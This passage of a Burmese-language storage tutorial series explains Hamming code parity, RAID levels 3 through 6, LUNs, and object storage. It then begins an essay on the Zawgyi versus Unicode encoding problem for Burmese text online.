တို့ဆိုတဲ့ အခြားသော နည်းတွေလည်းရှိပါသေးတယ်။ ဒီနေရာမှာတော့ parity အကြောင်းကို Hamming code ပြောရင်းနဲ့ လမ်းကြုံလို့ ရှင်းလိုက်ရခြင်းပဲဖြစ်ပါတယ်။

ဒုတိယ parity bit ကို even parity နည်းနဲ့ဆက်ပြီးတော့ တွက်လိုက်ကြည့်ရအောင်။ ဒီတခါတော့ p2 parity bit နဲ့သူ့နောက် bit ကိုရွေးမယ်၊ 2 bits ကိုကျော်သွားလိုက်မယ်၊ ပြီးတော့နောက်ထပ် 2 bit ကိုရွေးမယ်၊ သူ့နောက်က 2 bits ကိုကျော်သွားလိုက်ရင်ဖြင့် အောက်မှာပြထားသလိုနောက်ထပ် bit sequence တစ်ခုရလာပါလိမ့်မယ်။ အဲ့ဒီမှာ ပထမဆုံး p2 parity bit ကို even parity နည်းနဲ့ တွက်ချက်လိုက်ရင်ဖြင့် 0 0 1 0 0 1 ဆိုပြီးတော့ အောက်မှာပြထားတဲ့ အတိုင်းရပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-1b6edd4f69e400e2ba59db0320ab0c4852c52b4e%2FHamming-Code-2-1.png?alt=media" alt=""><figcaption></figcaption></figure>

P4 parity bit အတွက်နောက်တစ်ခါထပ်ပြီးတော့ တွက်ကြည့်မယ်။ p4 parity bit ကိုလည်း အထက်က နှစ်ဆင့်မှာတွက်ချက်တဲ့ နည်းအတိုင်း ဆက်သွားလိုက်ရင်ဖြင့်အောက်က အတိုင်း ထပ်တခါရလာပါလိမ့်မယ်။ ရလာတဲ့ parity bit တန်းဖိုးကို မူရင်း data stream ထဲမှာထည့်လိုက်ပြီးတော့ နောက်အဆင့်ဆက်သွားပါ။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-a6807b7146b1cc5ca5044bfad8ad9df45cca72cf%2FHamming-Code-3.png?alt=media" alt=""><figcaption></figcaption></figure>

နောက်ဆုံး P8 parity bit ကိုကြည့်လိုက်ရအောင်ဗျာ။ ဒီမှာတော့ 12 bits ပဲရှိလို့မမြင်ရပေမယ့်၊ အထက်မှာလိုပဲ 8 bits ကိုရွေးလိုက်၊ 8 bits ကျော်လိုက်နဲ့ data stream တစ်ခုမှာရှိသလောက် bits တွေကို ထပ်ခါထပ်ခါတွက်ချက်လိုက်ရင်ဖြင့် parity bits တန်းဖိုးလေးတွေထွက်လာပါလိမ့်မယ်။ ဒီဥပမာမှာတော့ အဖြေက 1 0 0 1 0 1 0 1 1 0 1 1 ရတာကို အောက်မှာတွေ့ရတဲ့ အတိုင်းပါ။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-7571623b8cc2b1c054784f54dfb3affea85e6a33%2FHamming-Code-4.png?alt=media" alt=""><figcaption></figcaption></figure>

ဟုတ်ပြီ… parity bits တွေရဲ့ position လည်းသိပြီ၊ value ကိုလည်းသိပြီဆိုရင် data bits တွေကြားထဲမှာ အထက်မှာပြထားသလို ကြားညှပ်ထည့်လိုက်ရင်ဖြင့် သိမ်းဆည်းတဲ့ အပိုင်းမှာပြီးသွားပါပြီ။ Parity bits တွေကိုသုံးပြီးတော့ error detection နဲ့ error correction လုပ်မလဲ။ ထားပါတော့… အထက်က 12 bits stream မှာ bit တစ်ခုက flip ဖြစ်ပြီးတော့ 0 ကနေ 1 သို့မဟုတ် 1 ကနေ 0 ဖြစ်သွားတယ်ဆိုကြပါတော့။ လွယ်ပါတယ်၊ အထက်မှာလုပ်တဲ့ အဆင့် ၄ ဆင့်နောက်တခါ ပြန်သွားလိုက်ပြီးတော့ even parity နည်းနဲ့ တွက်ချက်လိုက်ရင်ဖြင့် parity check pass ဖြစ်လာ fail ဖြစ်လာဆိုတာကို ပြန်လည်ဆန်းစစ်နိုင်ပြီးတော့ မှားနေတဲ့ bit ကို ပြင်ပေးလိုက်ရုံပါပဲ။ အဲ့ဒီအတွက် one-bit errors တွေကို correct လုပ်နိုင်ပြင်ပေးနိုင်ပြီးတော့၊ two-bit errors တွေကို detect သာလုပ်နိုင်ပါတော့တယ်။ အောက်မှာပြထားပုံက ပိုပြီးတော့ ရှင်းပါလိမ့်မယ်။ d4 data bit က bit flip ဖြစ်ရင် p1၊ p2၊ p3 parity bits တွေကိုသုံးပြီးတော့ error detection ရော၊ error correction ရော လုပ်ပေးနိုင်ပြီး၊ d3 data bit က bit flip ဖြစ်ရင်ဖြင့် p2 နဲ့ p3 parity bits တွေကို သုံးပြီးတော့ error detection သာလုပ်ပေးနိုင်မှာဖြစ်ပါတယ်။ အသေးစိတ်တွက်ချက်နည်းကို စိတ်ဝင်စားရင် ဒီ link မှာသွားရောက်လေ့လာနိုင်ပါတယ်။ Hamming code အကြောင်း ဒီလောက်ဆိုရင်တော့ဖြင့်လုံလောက်ပြီလို့ထင်ပါတယ်။ အောက်မှာ RAID အကြောင်းတွေကို ဆက်သွားလိုက်ရအောင်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-c74f14bbce6f92dfc86b56353856c40ca633064a%2FHamming-Code-5.png?alt=media" alt=""><figcaption></figcaption></figure>

**RAID 3 –** ဒီတစ်ခုမှာလည်း RAID 2 မှာလိုပဲ byte level မှာ stripe လုပ်ပါတယ်။ အနည်းဆုံး disk ၃လုံးလိုပြီးတော့ parity ကိုသီးသန့် disk မှာ သက်သက်သိမ်းတယ်။ ဒီနောက်ပိုင်းမှာတော့ ဘယ်သူမှ RAID 3 ကို အသုံးမပြုတော့ပါ။ သူ့အစား RAID 5 ကိုသာလူတွေအသုံးများလာပါတော့တယ်။ အောက်မှာတော့ RAID 3 ကို implement လုပ်ပုံကို ပြထားပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-6698f2a9d5b4ad57e912d96bde19372c588b7f09%2FRAID-3-768x569.png?alt=media" alt=""><figcaption></figcaption></figure>

**RAID 4** – RAID 2 နဲ့ 3 မှာလိုပဲ အနည်းဆုံး disk ၃လုံးလိုပါလိမ့်မယ်။ Block-level မှာ stripe လုပ်တဲ့အတွက် random reads operation အတွက်ကောင်းသော်လည်း random writes အတွက်တော့ parity ကို RAID 3 မှာလိုပဲ သီးသန့် disk တစ်လုံးမှာ သွားသိမ်းတဲ့ အတွက် အချိန်ပိုပြီးတော့ကြာပါတယ်။ အောက်မှာတော့ RAID 4 ကို implement ဘယ်လိုလုပ်သလဲဆိုတာပြထားပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-bf1014b4f5db6c23f26cb9758c3a0e6eb2d18418%2FRAID-4-768x569.png?alt=media" alt=""><figcaption></figcaption></figure>

**RAID 5** – RAID 4 မှာလိုပဲ block-level မှာ stripe လုပ်ပြီးတော့၊ disk ၃လုံး အနည်းဆုံးလိုပါတယ်။ မတူတာက RAID 5 မှာ parity bits တွေကိုပါ disks တွေအားလုံးမှာ stripe လုပ်ပြီးတော့ သိမ်းပါတယ်။ ဒီတော့ performance နဲ့ redundancy ပါတက်လာတယ်။ RAID 2, 3, 4 အစား RAID 5 ကိုသာ industry standard အနေနဲ့ သုံးပါတော့တယ်။ ပြောလာတဲ့ RAID 0 ကနေ RAID 5 အထိအားလုံးသော RAID level တွေမှာ disk တစ်လုံးသာ အပျက်ခံပြီးတော့ နှစ်လုံး အထိအပျက်ခံနိုင်ဖို့ကတော့ nested RAID လို့ ခေါ်တဲ့ RAID 1 နဲ့ RAID 0 ကိုပေါင်းပြီးတော့ implement လုပ်တဲ့ RAID 10 ကိုအသုံးပြုရပါလိမ့်မယ်။ အောက်မှာတော့ RAID 5 ကို ဘယ်လိုမျိုး implement လုပ်သလဲဆိုတာကို ပြထားပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-3f51c726f36788a4aa48d20f3468e98b245341f6%2FRAID-5-768x569.png?alt=media" alt=""><figcaption></figcaption></figure>

**RAID 6** – ဒီတစ်ခုကတော့ RAID 5 နဲ့အားလုံးတူပြီးတော့ မတူတာတစ်ခုက parity block ကို နောက်တစ်ခုအပို ထပ်ပြီးတော့ သိမ်းလိုက်တာပါပဲ။ ဒီ့အတွက် disk နှစ်လုံးထိအပျက်ခံပါတယ်။ သို့သော်… RAID 6 ကို implement လုပ်ဖို့အတွက် အနည်းဆုံး disk ၄လုံးလိုပါလိမ့်မယ်။ အောက်မှာတော့ RAID 6 ကိုဘယ်လို implement လုပ်သလဲဆိုတာကိုပြထားပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-7a9a88285aa873d13a68c143a4c9de93691a6288%2FRAID-6-768x452.png?alt=media" alt=""><figcaption></figcaption></figure>

RAID အကြောင်းက အခုလောက်ဆိုရင်လုံလောက်ပြီလို့ထင်ပါတယ်။ နောက်တစ်ခုက block storage မှာသုံးတဲ့ Logical Unit Number (LUN) ကိုနောက်တပိုင်းမှာ ဆက်ပြီးတော့ ရှင်းပါ့မယ်။ ဒီ post ကို ဒီမှာပဲရပ်လိုက်ပါ့မယ်။ နောက်တစ်ခုမှာတော့ LUN အကြောင်း အကျဉ်းချုပ်ရယ်၊ object storage အကြောင်း ရယ်ကိုဆက်ပြီးတော့ ဆွေးနွေးချင်ပါတယ်။


# Storage အကြောင်းတစေ့တစောင်း – အပိုင်း(၅)

### Logical Unit Number (LUN)

Linux ရဲ့ Logical Volume Manager (LVM) ကို နားလည်ရင် Logical Unit Number (LUN)ဆိုတာဘာလည်းသိပါပြီ။ ဆိုကြပါတော့… LVM မှာဆိုရင် ရိုးရိုး hard disks ပဲဖြစ်ဖြစ်၊ Hardware/Software RAID ပဲဖြစ်ဖြစ် ကိုယ့်ရဲ့ Linux server ထဲမှာထည့်ထားပြီး၊ configure လုပ်ထားကြတယ်ဆိုရင်၊ physical disks အဆင့်မှာ အဆင့်သင့်ဖြစ်ပါပြီ။ အဲ့ဒီ disks တွေပေါ်မှာ file system တစ်ခုတည်ဆောက်ဖို့အတွက် ကိုယ်ကြိုက်နှစ်သက်သလောက် partition ချ၊ ပြီးနောက် volume ရဲ့ အရွယ်အစားကို ကိုယ်လိုသလို သတ်မှတ်ပြီးတော့ format ပေးလိုက်ရင်ဖြင့် ကိုယ်အသုံးပြုနိုင်တဲ့ storage တစ်ခုကို mount point တစ်ခုရပါပြီ။ သို့သော် အချိန်တန်လို့ storage ကိုထပ်လိုလို့ ပေါင်းထည့်ရမယ်ဆိုရင်ဖြင့် ထို mount ကိုပြန်ပြီးဖြုတ်ရတာနဲ့ RAID ကို reconfigure ပြန်လုပ်ရတာ downtime တွေရှိနိုင်သလိုပဲ၊ ရှုပ်ထွေးပြီး reconfigure လုပ်ရခက်တဲ့ အနေအထားတွေနဲ့ ကြုံရင် ခေါင်းခဲရပါပြီ။

ဒီတော့… ဘယ်လိုမျိုး အဲ့ဒီပြဿနာကို ဖြေရှင်းမလဲဆိုတော့ကာ၊ Linux မှာ LVM ကိုအသုံးပြုနိုင်ပါတယ်။ LVM ရဲ့ အားသာချက်က disk space တွေကို ကိုယ်လိုသလို on the fly အတိုးအလျှော့ လုပ်လို့ရနိုင်သလို၊ end users တွေအတွက်လည်း လုံးဝ downtime မရှိတဲ့အတွက် Linux server တစ်ခုမှာမရှိမဖြစ်လိုအပ်တဲ့ tool တစ်ခုပါ။ ဒီလိုပဲ LUN ဟာလည်း block-level storage တွေ ဖြစ်တဲ့ SAN မှာ SCSI targets တွေကို အသုံးပြုပြီး logical block storage unit တွေကို လိုတိုးပိုလျှော့လုပ်နိုင်အောင် implement လုပ်ထားတာပဲဖြစ်ပါတယ်။ Network storage protocol မှာ ထို block-level storage တွေနဲ့ တွဲပြီးတော့ အသုံးပြုနိုင်တဲ့ Fibre Channel နဲ့ iSCSI ဆိုပြီး အသုံးများတဲ့ protocol နှစ်ခုရှိပါတယ်။ Fibre Channel လိုမျိုး protocol ကို အသုံးပြုဖို့အတွက်တော့ သူ့အတွက်သီးသန့် SAN infrastructure ကောင်းကောင်း တစ်ခုရှိမှရပါတယ်။ Fibre Channel Protocol (FCP) ဟာ Ethernet IP-based protocol တစ်ခုမဟုတ်တဲ့အတွက် သူ့အတွက်သီးသန့် switched fabric လိုပါတယ်။ iSCSI က IP-based ဖြစ်တဲ့အတွက် Ethernet frame ကိုပဲအသုံးပြုပြီး LUN နဲ့ တွဲပြီး အလုပ်လုပ်တယ်။ Performance နဲ့ scalability မှာ FCP ဟာ LUN အတွက် အသင့်တော်ဆုံးဖြစ်ပြီးတော့၊ data centre တွေနဲ့ cloud native တွေရဲ့ back-end storage တွေအနေနဲ့ အသုံးပြုလေ့ရှိပါတယ်။ ဒီနေရာမှာLUN နဲ့ သက်ဆိုင်တာတွေကို အသေးစိတ်မသွားတော့ပါဘူး။ လိုရင်းဖြစ်တဲ့ object storage အကြောင်း ကိုပဲဦးတည်ပြီး သွားလိုက်ရအောင်။

### Object-based Storage (သို့မဟုတ်) Object Storage

Object storage ကို Object-based Storage လို့လည်းခေါ်ကြသလို၊ cloud storage ဆိုပြီးလည်း အလွယ်ခေါ်တတ်ကြတယ်။ အခုနောက်ပိုင်းမှာတော့ object storage လို့ဆိုလိုက်ရင် AWS ရဲ့ S3 cloud storage သို့မဟုတ် Backblaze ရဲ့ B2 cloud storage တို့ကို အလွယ်တကူမြင်နိုင်သလို၊ enterprise offering တွေရဲ့ storage solution တွေမှာနာမည်ကြီးတဲ့ Dell EMC မှာ Elastic Cloud Storage၊ big blue ဆိုပြီး နာမည်ကြီးတဲ့ IBM မှာ Spectrum Scale သို့မဟုတ် General Parallel File System (GPFS) အပြင်၊ open-source software storage platform မှာ Ceph၊ GlusterFS နဲ့ OpenStack ရဲ့ Swift တို့ဆိုပြီးတော့ ရှိပါတယ်။ ကိုယ်သုံးမယ့် scenario နဲ့ ကိုက်မယ့် product နဲ့ object storage ကိုလိုအပ်သလို အသုံးပြုနိုင်ပါတယ်။ အခြားသော object storage solution တွေလည်း အများကြီးကျန်ပါသေးတယ်။ အကုန်လုံး ထည့်ပြောရင်မပြီးနိုင်မှာမို့ object storage ရဲ့ အဓိက concept ဆိုင်ရင်အကြောင်းတွေကိုပဲဆက်သွားလိုက်ရအောင်။

Object storage မှာအခြားသော storage တွေနဲ့မတူတဲ့ အချက်က data တွေအားလုံးကို object တွေအနေနဲ့ သတ်မှတ်ပြီး၊ unstructured data တွေကို အရှိအတိုင်း flat data အနေနဲ့ သိမ်းဆည်းပါတယ်။ Object တိုင်းမှာလည်း သူ့မှာသိမ်းထားတဲ့ data အပြင်၊ metadata နဲ့ globally unique identifier တွေပါဝင်တယ်။ သို့သော်လည်း back-end မှာ traditional storage infrastructure နဲ့ database တွေကိုအသုံးပြုပြီး data တွေကို သိမ်းတယ်။ အရှေ့မှာ file storage နဲ့ block storage တွေအကြောင်း အနည်းငယ်ရှင်းပြပြီးသားဖြစ်တဲ့ အတွက် တစ်ခုချင်းစီရဲ့ အားသာချက် အားနည်းချက်တွေကို လေ့လာပြီးတဲ့နောက်၊ object storage ကိုဘယ်လိုနေရာမျိုးမှာ အသုံးပြုသင့်တယ်၊ အသုံးပြုကြတယ်ဆိုတာကို ကြည့်လိုက်ရအောင်။

**Scalability နဲ့ Availability**

Scalability ဆိုတာက အလွယ်တကူလိုသလောက် ပိုတိုးပြီး ချဲ့ကားနိုင်စွမ်း နဲ့ availability ဆိုတာကအလွယ်တကူ ယူပြီးအသုံးပြုနိုင်အောင်လို့ APIs တွေအသုံးပြုပြီး ကိုယ်ကြိုက်သလို အဆင်ပြေသလိုအသုံးပြုနိုင်တဲ့အပြင်၊ data container (object) တွေအသုံးပြုထားတဲ့အတွက် တနည်းမဟုတ်တနည်း data တွေကို access လုပ်လို့ရအောင်ပြုလုပ်ပေးထားနိုင်စွမ်းကို ရည်ညွန်းခြင်းပါ။ ဥပမာ ပြောရရင် file storage နဲ့ block storage မှာ disk space တွေကိုပိုပြီး တိုးချဲ့ ထည့်သွင်းချင်ရင်ဖြစ်ဖြစ်၊ disk failure တွေ၊ RAID failure တွေဖြစ်ရင်ဖြစ်ဖြစ် လုပ်ဆောင်ရတဲ့ လုပ်ငန်းဆောင်တာက ကိုယ်ရဲ့ setup ပေါ်မှာမူတည်ပြီး implication အနည်းနဲ့ အများတော့ ရှိနိုင်ပါတယ်။ object storage မှာ ထိုထိုသော back-end မှာအရှုပ်အရှင်းတွေကို ခေါင်းမစားရအောင်လို့ abstraction layer တစ်ခုနဲ့ အုပ်လိုက်ပြီး data တွေကို read နဲ့ write လုပ်တဲ့ အခါမှာ RESTful APIs တွေကို အသုံးပြုလိုက်ခြင်းပဲ ဖြစ်ပါတယ်။

**Cost-effective Elastic On-demand Storage**

နည်းပညာဆိုင်ရာ ပစ္စည်းတွေကို လုပ်ငန်းခွင်အတွက် ဝယ်ယူတဲ့အခါမှာ ROI (Return On Investment) လို့ခေါ်တဲ့ ဝယ်ယူပစ္စည်းစျေးရဲ့ ရေရှည်မှာ အကျိုးအမြတ် ဘယ်လောက်ထွက်နိုင်သလဲလို့ တွက်ချက်ယူကြတဲ့ နည်းတွေရှိပါတယ်။ အကြမ်းအားဖြင့် ဆိုရရင် company တစ်ခုဟာ server တွေနဲ့ storage ဆိုင်ရာ ပစ္စည်းကိရိယာတွေကို စျေးတစ်ခုနဲ့ ဝယ်ယူလိုက်တယ်ဆိုကြပါတော့။ ၁၀နှစ် ကနေ ၁၅နှစ် လောက်ကြာပြီးအခါမှာ ဒီဟာတွေကို အသုံးပြုပြီး company အနေနဲ့ဘယ်လောက်တောင် အကျိုးအမြတ်ရှိနိုင်သလဲဆိုတာကို တွက်ချက်ကြည့်လိုက်ပါတယ်။ တွက်ချက်နည်းက နှစ်မျိုး သုံးမျိုးလောက်ရှိတဲ့ အတွက် ကိုယ်နဲ့ အဆင်ပြေနိုင်မယ် နည်းကိုကြည့်ပြီး တွက်ချက် လို့ရပါတယ်။ အချို့သော company တွေဟာ depreciation လို့ ခေါ်တဲ့ အချိန်နဲ့ အမျှတန်းဖိုးကျလာတဲ့ အချိုးကို tax အတွက်ကြောင့်ဖြစ်ဖြစ်၊ အခြားသော အကြောင်းတစ်ခုခုကြောင့် ထည့်သွင်း စဉ်းစား တွက်ချက်တာရှိသလို၊ မထည့်ပဲနဲ့ ဒီတိုင်းတွက်တာလည်းဖြစ်နိုင်ပါတယ်။

ဒီတော့ ROI နဲ့ကြည့်လိုက်ရင် ရေရှည်အတွက် ထည့်သွင်း ရင်းနှီးမြှုပ်နှံ ရတဲ့ ငွေကြေးပမာဏဟာ startup တွေနဲ့ small business လေးတွေအတွက် အမြတ်မထွက်ခင်မှာ အကြွေးအရင်တင်မယ့် ကိန်းဆိုက်လို့ နေပြန်ပါတယ်။ ကိုယ်မှာက ရင်းနှီးမြှုပ်နှံ နိုင်တဲ့ ငွေးကြေးပမာဏ capital နည်းနည်းရှိတယ်၊ ရေရှည်အတွက် စီမံကိန်း ခမ်းခမ်းနားနား ရှိတယ်၊ အခြေအနေမကောင်းလို့ နည်းနည်းရှုံးရင်တော့လည်း တောင့်ခံနိုင်စွမ်း ရှိရင်ဖြင့် Data Centre တွေမှာ co-location တစ်ခုရယူပြီး ကိုယ့်ရဲ့ IT platform ကိုတည်ဆောက်နိုင်ပါတယ်။ Company အကြီးစားတွေကလွဲလို့ တော်ရုံ company တွေက အခုနောက်ပိုင်း ခေတ်စားနေတဲ့ elastic compute တို့၊ elastic storage တို့ တွေနဲ့ ပိုပြီး တွက်ခြေကိုက်ပါတယ်။ Netflix လို platform မှာတောင် compute နဲ့ storage ကို elastic ဖြစ်အောင် AWS ပေါ်မှာ အခြားသော စမ်းကျယ်လှတဲ့ containerisation နည်းပညာနဲ့ Kubernetes (K8s) လို orchestration tool တွေကို အသုံးပြုထားတယ်လို့ လည်းသိရပါတယ်။ ဒီ့အတွက် အသုံးပြုလောက် storage နဲ့ compute ဖိုးကိုပဲ Netflix က AWS ကိုပေးရပါတယ်။ အကယ်လို့များ region တစ်ခုမှာ အကြောင်းအမျိုးမျိုး ကြောင့် Netflix ကြည့်တဲ့ လူနည်းပြီး idle ဖြစ်တဲ့ resource တွေအတွက် Netflix အနေနဲ့ပေးစရာ မလိုပါဘူး။ လိုသလောက်ပဲသုံး၊ သုံးသလောက်ပဲ ပေးဆိုတဲ့ပုံစံမျိုးပါ။ ဒါကိုကြည့်ခြင်းအားဖြင့် elastic ဟာဘယ်လောက်တောင် cost-effective ဖြစ်သလဲဆိုတာသိနိုင်ပါတယ်။

**Programmatic and Analytic Data Management**

အထက်မှာပြောခဲ့သလို object storage ဟာ RESTful API ကိုအသုံးတဲ့အတွက် CREATE, READ, UPDATE, DELETE (အတိုကောက် CRUD) ဆိုတဲ့ functions တွေကို အခြေခံလုပ်ငန်းစဉ်အဆင့်မှာ implement လုပ်ထားပါတယ်။ ဒီ့အတွက် API ကို support လုပ်တဲ့ ဘယ်လိုမျိုး programming language နဲ့ မဆိုတွဲပြီး သုံးလို့ရလို့ data science သမားတွေအဆင်ပြေနိုင်သလို၊ အခြားသော data set အကြီးစားတွေနဲ့ အလုပ်လုပ်ရတဲ့ profession တွေအတွက်လည်း ကောက်ကာငင်ကာ programmatic interface တစ်ခုအဖြစ်ယူသုံးနိုင်တယ်။ အချို့သော object storage implementation တွေမှာ ပိုပြီးကောင်းတဲ့ object versioning၊ object replication၊ life-cycle management နဲ့ objects တွေကို မတူတဲ့ tier တွေ နဲ့ type တွေတစ်ခုနဲ့ တစ်ခုကြားမှာ ရွေ့ပြောင်းအသုံးပြုနိုင်တဲ့ feature တွေပါဝင်နိုင်ပါတယ်။

**မှတ်ချက်** – API အကြောင်းကိုအသေးစိတ် သိချင်လေ့လာချင်ရင် ဆရာအိမောင်ရဲ့ “API – လို – တို – ရှင်း” စာအုပ်ကိုလည်း ဒီ [link](https://eimaung.com/api/) မှာသွားရောက်ဝယ်ယူ ဖတ်ရှုနိုင်ပါတယ်။ လေ့လာချင် လေ့လာလို့ကောင်းတဲ့ စာအုပ်မို့ ပြန်လည်မျှဝေလိုသော ဆန္ဒသာရှိပြီးတော့ ဆရာအိမောင်နဲ့ စာရေးသူ တိုက်ရိုက်စပ်ဆက်မှုမရှိပါ။ နောက်ပြီး သူ့မှာလည်း စေတနာကောင်း ဖြင့်ရေးသားထားတဲ့ စာအုပ်ကောင်းဖြစ်တဲ့အတွက် သူ့ရဲ့ ebook/book တွေကို အားပေးစေလိုပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-b5c8009000c80fd69f1fac8caed19b316011c248%2FScreenshot-from-2020-11-10-23-28-17.png?alt=media" alt=""><figcaption></figcaption></figure>

Object storage ဆိုတဲ့ အကြောင်းအရာဟာ ဆွေးနွေးစရာတွေ အများကြီးရှိနေသေးပါတယ်။ နည်းပညာပိုင်းမှာလည်း object-oriented ဆိုတဲ့ concept ကို ကိစ္စတော်တော်များများမှာ ထည့်သွင်းပြီးအသစ်အသစ်တွေတည်ဆောက်ယူ နေကြတာမို့ စိတ်ဝင်စားဖို့ကောင်းတယ်။ စာရေးသူ အနေနဲ့လည်း object storage ကို ကိုယ်တွေ့အသုံးပြုတဲ့ နေရာမှာ Blackblaze ရဲ့ B2 bucket မှာ ကိုယ့်ရဲ့ offsite backup လုပ်ဖို့အတွက် Duplicati နဲ့တွဲပြီး ထည့်သွင်းသုံးတာမျိုးလောက်ပဲ ရှိပါတယ်။ End user အတွက် object storage ဟာဘာမှထွေထွေထူးထူး မရှိပါဘူး။ ကိုယ်သုံးတဲ့ scenario မှာမူတည်ပြီး အသုံးဝင်နိုင်တဲ့ use case တွေက တော်တော်လေးကို များပါတယ်။ ဒီ post မှာ object storage ကို စာရေးသူ သိသလောက် အနည်းငယ်နဲ့ပဲ ဒီမှာရပ်လိုက်ပါတော့မယ်။


# အင်တာနက်မြန်မာစာ ယူနီကုဒ်ဇော်ဂျီ ပြဿနာ

ဒီစာကိုရေးဖြစ်ဖို့စဉ်းစားမိတာ တော်တော်လေးကြာနေပါပြီ။ နောက်ဒီ ခေါင်းစဉ်ကလည်း အခုမှစိတ်ကူးပေါက်ပြီး ရေးမယ်လို့ ရည်ရွယ်ထားတာ မဟုတ်ပါ။ ခေါင်းထဲမှာရှိနေတာ ကြာနေခဲ့ပါပြီ။ ရေးလိုက်တိုင်းလည်း လူတိုင်းမကြိုက်တဲ့ ခေါင်းစဉ် ဖြစ်သလို ဘယ်သူမှာလည်း စိတ်ဝင်မစားကြပါဘူး။ အဲ့ဒီလိုအင်တာနက် မြန်မာစာအတွက် standard နှစ်ခုဖြစ်နေတာကို ဘယ်သူမှ အရေးတယူ မလုပ်ခဲ့ရတဲ့ အကြောင်းကတော့ စိတ်ဝင်စားစရာဖြစ်သလို စာရေးသူ ကိုယ်တိုင်လည်း အားမလို အားမရဖြစ်ရပါတယ်။ ပွင့်ပွင့် လင်းလင်း ပြောကြကြေးဆိုရင် မြန်မာက ကမ္ဘာမှာ မှတ်တမ်းတင်မှုအားက အနောက်နိုင်ငံက ပုဂ္ဂိုလ်တွေထက်စာရင် အားနည်းပါတယ်။ နောက်ပြီး တန်းဖိုးရှိတဲ့ စာပေတွေကို ထိန်းသိမ်းမှုမှာလည်း ညံ့တယ်လို့ပြောရမလိုပါ။ မှတ်မှတ်ရရ ဥပမာတစ်ခုပေးရရင်တော့ စာရေးသူ ၂၀၀၆ခုနှစ်၂၀၀၇ ခုနှစ်လောက်တုန်းက ဆရာကြီးရွှေဥဒေါင်းရဲ့ တစ်သက်တာမှတ်တမ်းနှင့် အတွေးအခေါ်များ စ-ဆုံး ပေါင်းချုပ် ကို ဆရာဦးအောင်းသင်း ညွန်းလွန်းလို့ ဖတ်ချင်စိတ် တဖွားဖွား ဖြစ်လာခဲ့ပါတယ်။ ရှိတဲ့ စာအုပ်ဆိုင်မှန်သမျှလိုက်ရှာတာလည်း မရခဲ့ပါဘူး။ အဲ့ဒီစာအုပ်က စာပေတန်းဖိုးရှိသလောက် သိပ်ပြီးတော့ မရောင်းရတော့လို့ ထုတ်လုပ်ရေးတွေက မထုတ်တော့တာလည်းဖြစ်ပါတယ်။ ပန်းဆိုးတန်းက စာအုပ် အဟောင်းဆိုင်မှာတော့ ရှာရင်းဖွေရင်းတွေ့ပါတယ်။ တပိုင်းကို ၂သောင်း နဲ့ နှစ်ပိုင်းကို ၄သောင်းပေးရမယ်လို့ရောင်းတဲ့ သူကလည်း နှပ်ပါတယ်။ စာအုပ်က ကြည့်တော့လည်း တော်တော်လေး ဟောင်းနေပါပြီ။ သူ့မှာလည်း တစ်စုံပဲရှိတော့တာမို့ ယူမယ်ဆိုရင် အခုချက်ချင်း ယူမှရမယ်လို့လည်း ခြိမ်းခြောက်ခံရပါသေးတယ်။ ကိုယ် စာအုပ်ဝယ်ဖို့ကို စုထားတဲ့ ငွေကလည်း အဲ့ဒီလောက်မရှိတဲ့အတွက် မဝယ်ဖြစ်ခဲ့ပါဘူး။ နောက် ၃လ ၄ လ လောက်ကြာတော့ စိတ်ကူးချိုချို အနုပညာက စ-ဆုံးပေါင်းချုပ် ကို ဒုတိယအကြိမ် ပြန်ထုတ်ပါတယ်။ စာရေးသူ ၈ထောင်လား ၉ ထောင်လား ပေးဝယ်ခဲ့ရပါတယ်။ ကိုယ်တိုင်တွေ့ကြုံရတဲ့ တန်းဖိုးရှိ မြန်မာစာပေကို ဒီဘက်ခေတ်မှာ ရှာရဖွေရတာ မလွယ်ပုံကို ပြောပြခြင်းသာဖြစ်ပါတယ်။

ဒီဘက် social media ခေတ်မှာတော့ လူငယ်တွေဖတ်ဖို့စာက Facebook မှာတင်ရပ်သွားပါပြီ။ သတင်းတော်တော်များများနဲ့ ကာတွန်းဆရာ စာရေးဆရာများဟာလည်း social media နေပဲ သူတို့ ထုတ်ကုန်တွေကို ဖြန့်ဖြူးနေရတဲ့ခေတ်မို့ Facebook မှာတင် ဖတ်စရာတွေမကုန်နိုင်လောက်အောင် ရှိနေပါတယ်။ ဘယ်ဟာကောင်းသလဲ မကောင်းဘူးလဲဆိုတာနဲ့ သတင်းမှန်နဲ့ သတင်းမှား ပြဿနာက ဘယ်စာက တန်းဖိုးရှိသလဲ မရှိဘူးလဲဆိုတာထက် အလေးသာလို့ ခေတ်လူငယ်တွေ စစ်ထုတ်ပြီးတော့ ဖတ်နေရတာနဲ့တင်ကို အင်တာနက်မှာ ဘာမြန်မာစာသုံးသလဲဆိုဘက်ကို မရောက်လာတော့ပါဘူး။ လက်ရှိမှာတော့ Facebook နဲ့ မြန်မာစာနဲ့ရေးထားတဲ့ website တွေတော်တော်များများဟာ ဇော်ဂျီကိုသာအသုံးပြုထားပါတယ်။ 